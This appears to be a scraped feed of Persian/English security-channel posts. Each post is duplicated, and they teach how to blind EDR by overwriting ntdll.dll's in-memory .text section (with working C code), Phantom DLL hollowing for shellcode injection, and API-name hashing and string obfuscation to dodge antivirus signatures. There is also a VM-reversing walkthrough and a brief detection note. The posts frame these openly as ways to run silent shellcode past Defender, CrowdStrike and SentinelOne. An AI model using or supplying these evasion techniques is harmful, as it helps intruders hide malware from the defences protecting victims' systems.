کردن ntdll.dll از حافظه
«وقتی میخوای چشمای EDR رو کور کنی 👁️❌»
📌 قضیه چیه؟
تقریباً همهی EDRها روی توابع حساس داخل ntdll.dll هوک (Hook) میذارن.
وقتی تابعی مثل NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx صدا زده میشه، EDR داخلش intercept میکنه و رفتار رو log یا block میکنه
حتی اگه مستقیم از ntdll استفاده نکنی، اگه نسخه داخل حافظه Hook شده باشه، ممکنه کدت به جای رفتار واقعی، وارد تلهی EDR بشه.
💡 راهحل: برگردوندن ntdll.dll به حالت پاک (Clean)
روش رایج: Reload ntdll.dll from disk → overwrite memory
🧬 مراحل کلی:
1 فایل ntdll.dll رو مستقیم از روی دیسک بخون
2 بخش .text (کد اجرایی) رو از اون بردار
3 روی .text موجود در حافظهی پروسه overwrite کن
4. تموم! هوکها پودر شدن 😎
🔧 پیادهسازی در C/C++:
🔐 نتیجه:
ntdll.dll تو حافظه به حالت اولیه برمیگرده
همهی هوکهای inline EDR از بین میرن
حالا Direct Syscall و حتی API معمولی بدون دیده شدن اجرا میشن
⚠️ هشدار امنیتی:
مورد توضیح
🔎 بعضی EDRها حافظهی ntdll رو هش میکنن → هر تغییری رو detect میکنن
🧠 پس بهتره Direct Syscall رو همزمان با این استفاده کنی
✅ Kraken و ScareCrow این کار رو کاملاً اتومات انجام میدن
📦 ابزارهای آماده:
ابزار قابلیت
FreshyCalls بارگزاری نسخه پاک ntdll و اجرای مستقیم
HalosGate پیدا کردن توابع syscall حتی با هوک شدن کامل
Ekko / Kraken Stage Loader با Unhook داخلی
✅ جمعبندی:
تکنیک کاربرد
Unhook ntdll پاکسازی Hookهای EDR
Direct Syscall فرار از آنتیویروس بدون ردپا
ترکیب اینا اجرای Shellcode بیصدا حتی در Defender + CrowdStrike + SentinelOne
👁️❌ Unhooking ntdll.dll from Memory
> “When you want to blind the EDR…”
📌 What's the Idea?
Almost every EDR hooks sensitive functions inside ntdll.dll.
Whenever you call functions like:
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtCreateThreadEx
...the EDR intercepts them, logs them, or blocks execution.
Even if you don’t call ntdll directly, if the in-memory version is hooked, your code might walk straight into an EDR trap.
💡 The Fix: Restore a Clean Copy of ntdll.dll
The most common method:
Reload ntdll.dll from disk → Overwrite the in-memory .text section
🧬 Steps Overview:
1Read ntdll.dll directly from disk
2 Extract the .text section from it
3 Overwrite the .text section of the loaded in-memory ntdll.dll
4 Done — all inline hooks are gone 😎
🔧 C/C++ Example:
«وقتی میخوای چشمای EDR رو کور کنی 👁️❌»
📌 قضیه چیه؟
تقریباً همهی EDRها روی توابع حساس داخل ntdll.dll هوک (Hook) میذارن.
وقتی تابعی مثل NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx صدا زده میشه، EDR داخلش intercept میکنه و رفتار رو log یا block میکنه
حتی اگه مستقیم از ntdll استفاده نکنی، اگه نسخه داخل حافظه Hook شده باشه، ممکنه کدت به جای رفتار واقعی، وارد تلهی EDR بشه.
💡 راهحل: برگردوندن ntdll.dll به حالت پاک (Clean)
روش رایج: Reload ntdll.dll from disk → overwrite memory
🧬 مراحل کلی:
1 فایل ntdll.dll رو مستقیم از روی دیسک بخون
2 بخش .text (کد اجرایی) رو از اون بردار
3 روی .text موجود در حافظهی پروسه overwrite کن
4. تموم! هوکها پودر شدن 😎
🔧 پیادهسازی در C/C++:
// ntdll در دیسک
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID dllImage = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// آدرس ntdll داخل حافظه خودمون
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// پیدا کردن offset بخش .text
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllImage;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)dllImage + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
// اجازه نوشتن بده
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
// بازنویسی بخش .text با نسخه پاک
memcpy((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), (BYTE*)dllImage + sec[i].PointerToRawData, sec[i].SizeOfRawData);
// برگردوندن مجوز
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, oldProtect, &oldProtect);
break;
}
}
🔐 نتیجه:
ntdll.dll تو حافظه به حالت اولیه برمیگرده
همهی هوکهای inline EDR از بین میرن
حالا Direct Syscall و حتی API معمولی بدون دیده شدن اجرا میشن
⚠️ هشدار امنیتی:
مورد توضیح
🔎 بعضی EDRها حافظهی ntdll رو هش میکنن → هر تغییری رو detect میکنن
🧠 پس بهتره Direct Syscall رو همزمان با این استفاده کنی
✅ Kraken و ScareCrow این کار رو کاملاً اتومات انجام میدن
📦 ابزارهای آماده:
ابزار قابلیت
FreshyCalls بارگزاری نسخه پاک ntdll و اجرای مستقیم
HalosGate پیدا کردن توابع syscall حتی با هوک شدن کامل
Ekko / Kraken Stage Loader با Unhook داخلی
✅ جمعبندی:
تکنیک کاربرد
Unhook ntdll پاکسازی Hookهای EDR
Direct Syscall فرار از آنتیویروس بدون ردپا
ترکیب اینا اجرای Shellcode بیصدا حتی در Defender + CrowdStrike + SentinelOne
👁️❌ Unhooking ntdll.dll from Memory
> “When you want to blind the EDR…”
📌 What's the Idea?
Almost every EDR hooks sensitive functions inside ntdll.dll.
Whenever you call functions like:
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtCreateThreadEx
...the EDR intercepts them, logs them, or blocks execution.
Even if you don’t call ntdll directly, if the in-memory version is hooked, your code might walk straight into an EDR trap.
💡 The Fix: Restore a Clean Copy of ntdll.dll
The most common method:
Reload ntdll.dll from disk → Overwrite the in-memory .text section
🧬 Steps Overview:
1Read ntdll.dll directly from disk
2 Extract the .text section from it
3 Overwrite the .text section of the loaded in-memory ntdll.dll
4 Done — all inline hooks are gone 😎
🔧 C/C++ Example:
// Load ntdll.dll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID dllImage = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Get loaded ntdll.dll in memory
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
❤1🔥1
// Locate .text section
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllImage;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)dllImage + dos->e_lfanew);
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), (BYTE*)dllImage + sec[i].PointerToRawData, sec[i].SizeOfRawData);
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress), sec[i].Misc.VirtualSize, oldProtect, &oldProtect);
break;
}
}
🔐 Result:
✅ ntdll.dll in memory is restored to its original clean state
✅ All inline EDR hooks are erased
✅ Now both Direct Syscalls and even normal APIs can run without being seen
⚠️ Security Notes:
Risk Detail
🔎 Some EDRs hash ntdll.dll in memory Any change may trigger an alert
🧠 Better to combine with Direct Syscalls Avoids detection even if hashes are checked
✅ Tools like Kraken & ScareCrow automate this entirely They combine unhooking + stealth syscall execution
📦 Useful Tools:
Tool Capability
FreshyCalls Loads a clean ntdll.dll and makes direct syscalls
HalosGate Finds syscall numbers even if hooks are present
Ekko / Kraken Stage loaders with internal unhooking logic
✅ Summary:
Technique Purpose
Unhooking ntdll.dll Remove inline EDR hooks
Direct Syscall Avoid antivirus and behavioral detection
Both Combined Silent shellcode execution — even against Defender, CrowdStrike, and SentinelOne
❤3
تحلیل و مهندسی معکوس VM ساخت خودمون
> بررسی ساختار، پیدا کردن bytecode، شناسایی Jump Table، و در نهایت بازسازی منطق برنامه!
🎯 هدف:
آموزش گامبهگام نحوه ریورس کردن یه برنامه محافظتشده با VM (حتی همون Mini-VMProtectی که خودت ساختی) — دقیقاً مشابه چیزی که توی محافظهایی مثل VMProtect و Code Virtualizer اتفاق میافته
🧩 ساختار فایل نهایی که باید ریورس بشه:
باینری اصلی (یک EXE یا ELF)
شامل بخش رمز شده (bytecode) در قالب یک آرایه یا بلاک حافظه
یک ماشین مجازی که:
bytecode رو رمزگشایی میکنه
با استفاده از jump table دستورها رو اجرا میکنه
اپکدهای تقلبی و واقعی قاطی شدن
🔍 مراحل ریورس:
🥷 1 پیدا کردن نقطه ورود (Entry Point)
با استفاده از ابزارهایی مثل IDA Pro, Ghidra, یا x64dbg
گاهی تابع اصلی با توابع نرمال فرق داره چون با VirtualAlloc, memcpy, CreateThread, یا jmp به VM میپره
🧠 2 شناسایی رمزگشایی bytecode
دنبال تابعی بگرد که روی آرایهای از دادهها XOR AES یا حتی عملیات ساده انجام میده
معمولاً بعدش یه حلقه با jmp به offsetهای دینامیک دیده میشن
🧰 3 پیدا کردن Jump Table
دنبال آرایهای از آدرسها بگرد که به توابع مختلف اشاره میکنن
معمولا با ساختار jump_table[opcode]() یا call eax یا jmp [reg + offset] پیاده میشن.
🧪 4 آنالیز هر دستور مجازی
برای هر opcode، باید تابع مربوط بهش رو بررسی کنی و بفهمی چه کاری انجام میده (مثلاً جمع، پرینت، push)
در جدولت مثل زیر بنویس:
📜 5 بازسازی برنامه اصلی
وقتی تمام opcodeها رو فهمیدی، bytecode رمزگشاییشده رو بررسی میکنی و اون رو به منطق اصلی تبدیل میکنی:
مثلا:
میشه:
🔬 Reverse Engineering a Custom Virtual Machine (VM)
> Analyzing the structure, locating the bytecode, identifying the jump table, and finally reconstructing the original logic!
🎯 Goal:
A step-by-step guide on how to reverse a program protected by a virtual machine, even if it's a mini-VMProtect-style VM you built yourself — just like the ones used in real-world protectors like VMProtect and Code Virtualizer.
🧩 Structure of the Target File (to be reversed):
A binary (EXE or ELF)
Contains an encrypted bytecode section embedded as an array or memory blob
Includes a custom VM that:
Decrypts the bytecode
Uses a jump table to dispatch and execute instructions
Mixes fake and real opcodes to confuse analysis
🔍 Reversing Steps:
🥷 1 Locate the Entry Point
Use tools like IDA Pro, Ghidra, or x64dbg
The real "main" might look suspicious — it could call VirtualAlloc, memcpy, CreateThread, or even jump directly to the VM dispatcher
🧠 2 Identify Bytecode Decryption
Look for a function that processes a data array with XOR, AES, or even simple logic
Usually followed by a loop or control flow that uses dynamic jumps or calls
🧰 3 Locate the Jump Table
Search for an array of function pointers (jump destinations for opcodes)
Usually implemented like:
jump_table[opcode]()
or call eax
or jmp [reg + offset]
🧪 4 Analyze Each Virtual Instruction
For every opcode, identify the corresponding function
Figure out what each function does (e.g., add, print, push)
Build a reference table like this:
📜 5 Reconstruct the Original Program
Once all opcodes are understood, analyze the decrypted bytecode and translate it back into high-level logic.
Example:
Becomes:
> بررسی ساختار، پیدا کردن bytecode، شناسایی Jump Table، و در نهایت بازسازی منطق برنامه!
🎯 هدف:
آموزش گامبهگام نحوه ریورس کردن یه برنامه محافظتشده با VM (حتی همون Mini-VMProtectی که خودت ساختی) — دقیقاً مشابه چیزی که توی محافظهایی مثل VMProtect و Code Virtualizer اتفاق میافته
🧩 ساختار فایل نهایی که باید ریورس بشه:
باینری اصلی (یک EXE یا ELF)
شامل بخش رمز شده (bytecode) در قالب یک آرایه یا بلاک حافظه
یک ماشین مجازی که:
bytecode رو رمزگشایی میکنه
با استفاده از jump table دستورها رو اجرا میکنه
اپکدهای تقلبی و واقعی قاطی شدن
🔍 مراحل ریورس:
🥷 1 پیدا کردن نقطه ورود (Entry Point)
با استفاده از ابزارهایی مثل IDA Pro, Ghidra, یا x64dbg
گاهی تابع اصلی با توابع نرمال فرق داره چون با VirtualAlloc, memcpy, CreateThread, یا jmp به VM میپره
🧠 2 شناسایی رمزگشایی bytecode
دنبال تابعی بگرد که روی آرایهای از دادهها XOR AES یا حتی عملیات ساده انجام میده
معمولاً بعدش یه حلقه با jmp به offsetهای دینامیک دیده میشن
🧰 3 پیدا کردن Jump Table
دنبال آرایهای از آدرسها بگرد که به توابع مختلف اشاره میکنن
معمولا با ساختار jump_table[opcode]() یا call eax یا jmp [reg + offset] پیاده میشن.
🧪 4 آنالیز هر دستور مجازی
برای هر opcode، باید تابع مربوط بهش رو بررسی کنی و بفهمی چه کاری انجام میده (مثلاً جمع، پرینت، push)
در جدولت مثل زیر بنویس:
opcode عملیات
0x01 push عدد
0x02 جمع دو عدد
0x03 چاپ مقدار
📜 5 بازسازی برنامه اصلی
وقتی تمام opcodeها رو فهمیدی، bytecode رمزگشاییشده رو بررسی میکنی و اون رو به منطق اصلی تبدیل میکنی:
مثلا:
Bytecode: [0x01, 0x10, 0x01, 0x20, 0x02, 0x03]
میشه:
push(0x10);
push(0x20);
add();
pri
🔬 Reverse Engineering a Custom Virtual Machine (VM)
> Analyzing the structure, locating the bytecode, identifying the jump table, and finally reconstructing the original logic!
🎯 Goal:
A step-by-step guide on how to reverse a program protected by a virtual machine, even if it's a mini-VMProtect-style VM you built yourself — just like the ones used in real-world protectors like VMProtect and Code Virtualizer.
🧩 Structure of the Target File (to be reversed):
A binary (EXE or ELF)
Contains an encrypted bytecode section embedded as an array or memory blob
Includes a custom VM that:
Decrypts the bytecode
Uses a jump table to dispatch and execute instructions
Mixes fake and real opcodes to confuse analysis
🔍 Reversing Steps:
🥷 1 Locate the Entry Point
Use tools like IDA Pro, Ghidra, or x64dbg
The real "main" might look suspicious — it could call VirtualAlloc, memcpy, CreateThread, or even jump directly to the VM dispatcher
🧠 2 Identify Bytecode Decryption
Look for a function that processes a data array with XOR, AES, or even simple logic
Usually followed by a loop or control flow that uses dynamic jumps or calls
🧰 3 Locate the Jump Table
Search for an array of function pointers (jump destinations for opcodes)
Usually implemented like:
jump_table[opcode]()
or call eax
or jmp [reg + offset]
🧪 4 Analyze Each Virtual Instruction
For every opcode, identify the corresponding function
Figure out what each function does (e.g., add, print, push)
Build a reference table like this:
Opcode Operation
0x01 push number
0x02 add two numbers
0x03 print value
📜 5 Reconstruct the Original Program
Once all opcodes are understood, analyze the decrypted bytecode and translate it back into high-level logic.
Example:
Bytecode: [0x01, 0x10, 0x01, 0x20, 0x02, 0x03]
Becomes:
push(0x10);
push(0x20);
add();
print();
❤2🔥1
👻 روحی که جایگزین DLL شد!
📎 عنوان پیشنهادی برای پست:
"وقتی یه DLL هست... ولی نیست!"
🧠 Phantom DLL چیه دقیقاً
ایدهی اصلی اینه:
🔧 یه DLL قانونی رو لود میکنی،
🧼 بعدش محتواشو پاک میکنی،
🧠 بعد شلکدتو میریزی جای اون...
اما هنوز از بیرون، همهچی به نظر اوکیه. چون فایل اصلی رو با Delete on Close باز کردی
💡 چرا بهش میگن Phantom؟
چون وقتی سیستم فایل DLL رو میخونه، میبینه هست.
ولی وقتی پروسس بسته بشه، DLL از روی دیسک پاک میشه…
یعنی عملاً یه فایل بیجسم داری که فقط تو حافظه هست.
⚒️ چجوری انجامش میدن؟
1 با CreateFile یا API مشابه، فایل DLL رو با فلگ FILE_FLAG_DELETE_ON_CLOSE باز کن
2 از CreateFileMapping برای مپ کردن محتواش تو حافظه استفاده کن
3 از MapViewOfFile برای دسترسی به حافظه
4 محتوا رو با VirtualProtect قابل نوشتن کن
5 کلش رو پاک کن و Shellcode یا DLL مخرب خودتو بریز
6 از CreateRemoteThread یا LoadLibrary جعلی برای اجرا استفاده کن
🔥 چرا خفنتر از Process Hollowing؟
خیلی از آنتیویروسها فقط دنبال PEهای اجراشده یا فایلهای روی دیسکن
اینجا فایلی وجود نداره! (حداقل نه وقتی پروسس بسته شه)
لاگهایی مثل Event ID 7 (Sysmon) چیزی نشون نمیدن چون DLL از روی دیسک نیست
🧪 تشخیص چیه؟
✅ بررسی PEهای لود شده با مقایسه بین هَش فایل روی دیسک و محتوای در حافظه
✅ ابزارهایی مثل PE-sieve، Volatility و Cuckoo میتونن شناسایی کنن:
pe-sieve64.exe /pid <pid> /shellc /imp
🔍 همچنین میتونی با بررسی inconsistency بین module path و state حافظه پیداش کنی.
🎯 کجا استفاده میشه؟
APTهای جدی مثل FIN7، Lazarus و حتی بعضی rootkitها توی مراحل نهایی استفادهش میکنن برای payload injection توی DLL قانونی
🧠 جمعبندی:
> Phantom DLL Hollowing = تزریق نامرئی!
نه فایل هست، نه رد پای واقعی… فقط یه شبح توی حافظه که کار خودشو میکنه
– A Spirit That Replaced the DLL! 👻
📎 Suggested Title:
"When a DLL Exists... But Doesn’t!"
🧠 What Exactly Is Phantom DLL?
The core idea is:
🔧 You load a legitimate DLL,
🧼 then wipe its content,
🧠 and inject your shellcode or malicious payload instead...
But from the outside, everything still looks fine — because you opened the file with Delete on Close flag.
💡 Why Is It Called "Phantom"?
Because as long as the file is in use, the system believes it exists.
But once the process closes, the DLL vanishes from disk.
> You’re working with a bodyless file — it only exists in memory.
⚒️ How Is It Done?
1 Use CreateFile (or a similar API) to open a legit DLL with the FILE_FLAG_DELETE_ON_CLOSE flag.
2 Map the file into memory with CreateFileMapping.
3 Use MapViewOfFile to access the memory.
4 Make it writable with VirtualProtect.
5 Wipe the content and inject your shellcode or malicious DLL.
6 Trigger execution using CreateRemoteThread or a spoofed LoadLibrary.
🔥 Why Is It Stealthier Than Process Hollowing?
Because many AV/EDR solutions focus on on-disk PE files or known loaded DLLs.
In this case, the DLL doesn’t exist anymore — at least not when the process exits.
Logs like Sysmon Event ID 7 won’t help — there’s no file on disk to trace.
🧪 Detection Methods?
✅ Compare in-memory loaded PE hashes with the actual file on disk
✅ Tools like PE-sieve, Volatility, or Cuckoo Sandbox can detect this:
pe-sieve64.exe /pid <pid> /shellc /imp
🔍 You can also find it by detecting inconsistencies between the module path and the actual memory content.
🎯 Where Is It Used?
Sophisticated APT groups like FIN7, Lazarus, and even some rootkits have used this during final-stage payload injection — leveraging legit DLLs
🧠 Summary:
> Phantom DLL Hollowing = Invisible Injection.
No file, no obvious trace — just a ghost in memory doing its job.
📎 عنوان پیشنهادی برای پست:
"وقتی یه DLL هست... ولی نیست!"
🧠 Phantom DLL چیه دقیقاً
ایدهی اصلی اینه:
🔧 یه DLL قانونی رو لود میکنی،
🧼 بعدش محتواشو پاک میکنی،
🧠 بعد شلکدتو میریزی جای اون...
اما هنوز از بیرون، همهچی به نظر اوکیه. چون فایل اصلی رو با Delete on Close باز کردی
💡 چرا بهش میگن Phantom؟
چون وقتی سیستم فایل DLL رو میخونه، میبینه هست.
ولی وقتی پروسس بسته بشه، DLL از روی دیسک پاک میشه…
یعنی عملاً یه فایل بیجسم داری که فقط تو حافظه هست.
⚒️ چجوری انجامش میدن؟
1 با CreateFile یا API مشابه، فایل DLL رو با فلگ FILE_FLAG_DELETE_ON_CLOSE باز کن
2 از CreateFileMapping برای مپ کردن محتواش تو حافظه استفاده کن
3 از MapViewOfFile برای دسترسی به حافظه
4 محتوا رو با VirtualProtect قابل نوشتن کن
5 کلش رو پاک کن و Shellcode یا DLL مخرب خودتو بریز
6 از CreateRemoteThread یا LoadLibrary جعلی برای اجرا استفاده کن
🔥 چرا خفنتر از Process Hollowing؟
خیلی از آنتیویروسها فقط دنبال PEهای اجراشده یا فایلهای روی دیسکن
اینجا فایلی وجود نداره! (حداقل نه وقتی پروسس بسته شه)
لاگهایی مثل Event ID 7 (Sysmon) چیزی نشون نمیدن چون DLL از روی دیسک نیست
🧪 تشخیص چیه؟
✅ بررسی PEهای لود شده با مقایسه بین هَش فایل روی دیسک و محتوای در حافظه
✅ ابزارهایی مثل PE-sieve، Volatility و Cuckoo میتونن شناسایی کنن:
pe-sieve64.exe /pid <pid> /shellc /imp
🔍 همچنین میتونی با بررسی inconsistency بین module path و state حافظه پیداش کنی.
🎯 کجا استفاده میشه؟
APTهای جدی مثل FIN7، Lazarus و حتی بعضی rootkitها توی مراحل نهایی استفادهش میکنن برای payload injection توی DLL قانونی
🧠 جمعبندی:
> Phantom DLL Hollowing = تزریق نامرئی!
نه فایل هست، نه رد پای واقعی… فقط یه شبح توی حافظه که کار خودشو میکنه
– A Spirit That Replaced the DLL! 👻
📎 Suggested Title:
"When a DLL Exists... But Doesn’t!"
🧠 What Exactly Is Phantom DLL?
The core idea is:
🔧 You load a legitimate DLL,
🧼 then wipe its content,
🧠 and inject your shellcode or malicious payload instead...
But from the outside, everything still looks fine — because you opened the file with Delete on Close flag.
💡 Why Is It Called "Phantom"?
Because as long as the file is in use, the system believes it exists.
But once the process closes, the DLL vanishes from disk.
> You’re working with a bodyless file — it only exists in memory.
⚒️ How Is It Done?
1 Use CreateFile (or a similar API) to open a legit DLL with the FILE_FLAG_DELETE_ON_CLOSE flag.
2 Map the file into memory with CreateFileMapping.
3 Use MapViewOfFile to access the memory.
4 Make it writable with VirtualProtect.
5 Wipe the content and inject your shellcode or malicious DLL.
6 Trigger execution using CreateRemoteThread or a spoofed LoadLibrary.
🔥 Why Is It Stealthier Than Process Hollowing?
Because many AV/EDR solutions focus on on-disk PE files or known loaded DLLs.
In this case, the DLL doesn’t exist anymore — at least not when the process exits.
Logs like Sysmon Event ID 7 won’t help — there’s no file on disk to trace.
🧪 Detection Methods?
✅ Compare in-memory loaded PE hashes with the actual file on disk
✅ Tools like PE-sieve, Volatility, or Cuckoo Sandbox can detect this:
pe-sieve64.exe /pid <pid> /shellc /imp
🔍 You can also find it by detecting inconsistencies between the module path and the actual memory content.
🎯 Where Is It Used?
Sophisticated APT groups like FIN7, Lazarus, and even some rootkits have used this during final-stage payload injection — leveraging legit DLLs
🧠 Summary:
> Phantom DLL Hollowing = Invisible Injection.
No file, no obvious trace — just a ghost in memory doing its job.
❤5🔥3👏1
+ Obfuscation
«چجوری بدون اشاره مستقیم به هیچ API خطرناکی کدت رو اجرا کنی؟»
🎯 مشکل چیه؟
آنتیویروسها (AV/EDR/XDR) معمولاً:
دنبال رشتههای مشکوک مثل VirtualAlloc, CreateRemoteThread, WinExec توی باینری میگردن
رفتار مشکوک رو با static signatures یا YARA کشف میکنن
کافیه فقط رشتهها تو باینریت باشن → Flag میشی!
💡 راهحل:
هیچوقت مستقیم به API اشاره نکن!
استفاده از Dynamic API Resolution یعنی:
توابع حساس رو در زمان اجرا پیدا کن
اسم توابع و DLLها رو رمزنگاری یا هیش کن
اینطوری آنتیویروس چیزی برای بررسی نداره
🔧 روشهای رایج Dynamic API Resolve:
1 ✅ استفاده از GetProcAddress + LoadLibrary
📛 ولی توجه: رشتهها هنوز توی باینری هستن! 🔥
2 🔐 استفاده از رمزنگاری یا Hash برای اسمها
مثال ساده:
→ حالا فقط هش رو نگهمیداری و زمان اجرا میگردی دنبال API با همون هش.
3 🧬 جستجو توی PEB → دستی پیدا کردن توابع بدون هیچ تابع WINAPI
تو این روش دیگه نه از LoadLibrary استفاده میکنی، نه GetProcAddress!
مستقیماً میری سراغ ساختار PEB → InMemoryOrderModuleList → و از اونجا تابع رو resolve میکنی
نمای کلی:
// از طریق PEB به لیست ماژولها دسترسی
// Parse کردن PE header و Export Table
// پیدا کردن آدرس تابع از نام یا هش
ابزارهایی مثل Reflective Loader دقیقاً همینو انجام میدن
✂️ Obfuscation – پنهانسازی رشتهها و دادهها
روشهای رایج:
XOR / RC4 ساده روی نام توابع
رشتههای Unicode معکوسشده
ساختن رشتهها در زمان اجرا با sprintf, memcpy و غیره
⚔️ ابزارها / تکنیکهای آماده:
ابزار توضیح
SysWhispers2/3 ساخت توابع با syscall بدون هیچ رشته مشکوک
Hell’s Gate resolve مستقیم syscalls از حافظه
ScareCrow / Sliver استفاده از runtime resolution + encoding
🎯 ترکیب نهایی:
برای بایپس کامل توصیه میشه:
✅ API Resolve بدون اسمها
✅ شلکد بدون رشته مشکوک
✅ اجرای Direct Syscall با syscall stubهایی که خودت ساختی
Obfuscation
“How can you run your code without directly referencing any suspicious APIs?”
🎯 The Problem:
AVs/EDRs/XDRs usually:
Hunt for suspicious strings like VirtualAlloc, CreateRemoteThread, WinExec in your binary
Detect shady behavior using static signatures or YARA rules
Just having those strings in your binary can get you flagged!
💡 The Solution:
Never reference dangerous APIs directly.
Instead, use Dynamic API Resolution, meaning:
Resolve sensitive functions at runtime
Encrypt or hash function and DLL names
This way, AVs have nothing to statically scan
🔧 Common Dynamic API Resolution Techniques:
1 ✅ Using GetProcAddress + LoadLibrary
📛 Warning: The strings are still present in your binary! 🔥
2 🔐 Hashing or Encrypting API Names
Simple example:
→ You store only the hash, then scan loaded modules for a matching function at runtime.
3 🧬 PEB Walk – No WinAPI At All
In this method, you avoid LoadLibrary and GetProcAddress entirely.
Instead, you:
Access the PEB structure
Traverse the InMemoryOrderModuleList
Parse PE headers and Export Table
Find the function address by name or hash
This is exactly how loaders like ReflectiveLoader work.
✂️ Obfuscation – Hiding Strings and Data
Common string obfuscation tricks:
Simple XOR or RC4 encryption of API names
Reversed Unicode strings
Building strings at runtime using sprintf, memcpy, etc.
Examples:
«چجوری بدون اشاره مستقیم به هیچ API خطرناکی کدت رو اجرا کنی؟»
🎯 مشکل چیه؟
آنتیویروسها (AV/EDR/XDR) معمولاً:
دنبال رشتههای مشکوک مثل VirtualAlloc, CreateRemoteThread, WinExec توی باینری میگردن
رفتار مشکوک رو با static signatures یا YARA کشف میکنن
کافیه فقط رشتهها تو باینریت باشن → Flag میشی!
💡 راهحل:
هیچوقت مستقیم به API اشاره نکن!
استفاده از Dynamic API Resolution یعنی:
توابع حساس رو در زمان اجرا پیدا کن
اسم توابع و DLLها رو رمزنگاری یا هیش کن
اینطوری آنتیویروس چیزی برای بررسی نداره
🔧 روشهای رایج Dynamic API Resolve:
1 ✅ استفاده از GetProcAddress + LoadLibrary
HMODULE hKernel = LoadLibraryA("kernel32.dll");
FARPROC pVirtualAlloc = GetProcAddress(hKernel, "VirtualAlloc");
📛 ولی توجه: رشتهها هنوز توی باینری هستن! 🔥
2 🔐 استفاده از رمزنگاری یا Hash برای اسمها
مثال ساده:
DWORD HashFunc(const char* funcName) {
DWORD hash = 0;
while (*funcName) {
hash = ((hash << 5) + hash) + *funcName++;
}
return hash;
}
→ حالا فقط هش رو نگهمیداری و زمان اجرا میگردی دنبال API با همون هش.
3 🧬 جستجو توی PEB → دستی پیدا کردن توابع بدون هیچ تابع WINAPI
تو این روش دیگه نه از LoadLibrary استفاده میکنی، نه GetProcAddress!
مستقیماً میری سراغ ساختار PEB → InMemoryOrderModuleList → و از اونجا تابع رو resolve میکنی
نمای کلی:
// از طریق PEB به لیست ماژولها دسترسی
// Parse کردن PE header و Export Table
// پیدا کردن آدرس تابع از نام یا هش
ابزارهایی مثل Reflective Loader دقیقاً همینو انجام میدن
✂️ Obfuscation – پنهانسازی رشتهها و دادهها
روشهای رایج:
XOR / RC4 ساده روی نام توابع
رشتههای Unicode معکوسشده
ساختن رشتهها در زمان اجرا با sprintf, memcpy و غیره
char x[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0 };
// یا حتی
char* str = (char*)malloc(13);
memcpy(str, "\x56\x69\x72\x74\x75\x61\x6c\x41\x6c\x6c\x6f\x63", 12);
str[12] = 0;
⚔️ ابزارها / تکنیکهای آماده:
ابزار توضیح
SysWhispers2/3 ساخت توابع با syscall بدون هیچ رشته مشکوک
Hell’s Gate resolve مستقیم syscalls از حافظه
ScareCrow / Sliver استفاده از runtime resolution + encoding
🎯 ترکیب نهایی:
برای بایپس کامل توصیه میشه:
✅ API Resolve بدون اسمها
✅ شلکد بدون رشته مشکوک
✅ اجرای Direct Syscall با syscall stubهایی که خودت ساختی
Obfuscation
“How can you run your code without directly referencing any suspicious APIs?”
🎯 The Problem:
AVs/EDRs/XDRs usually:
Hunt for suspicious strings like VirtualAlloc, CreateRemoteThread, WinExec in your binary
Detect shady behavior using static signatures or YARA rules
Just having those strings in your binary can get you flagged!
💡 The Solution:
Never reference dangerous APIs directly.
Instead, use Dynamic API Resolution, meaning:
Resolve sensitive functions at runtime
Encrypt or hash function and DLL names
This way, AVs have nothing to statically scan
🔧 Common Dynamic API Resolution Techniques:
1 ✅ Using GetProcAddress + LoadLibrary
HMODULE hKernel = LoadLibraryA("kernel32.dll");
FARPROC pVirtualAlloc = GetProcAddress(hKernel, "VirtualAlloc");
📛 Warning: The strings are still present in your binary! 🔥
2 🔐 Hashing or Encrypting API Names
Simple example:
DWORD HashFunc(const char* funcName) {
DWORD hash = 0;
while (*funcName) {
hash = ((hash << 5) + hash) + *funcName++;
}
return hash;
}
→ You store only the hash, then scan loaded modules for a matching function at runtime.
3 🧬 PEB Walk – No WinAPI At All
In this method, you avoid LoadLibrary and GetProcAddress entirely.
Instead, you:
Access the PEB structure
Traverse the InMemoryOrderModuleList
Parse PE headers and Export Table
Find the function address by name or hash
This is exactly how loaders like ReflectiveLoader work.
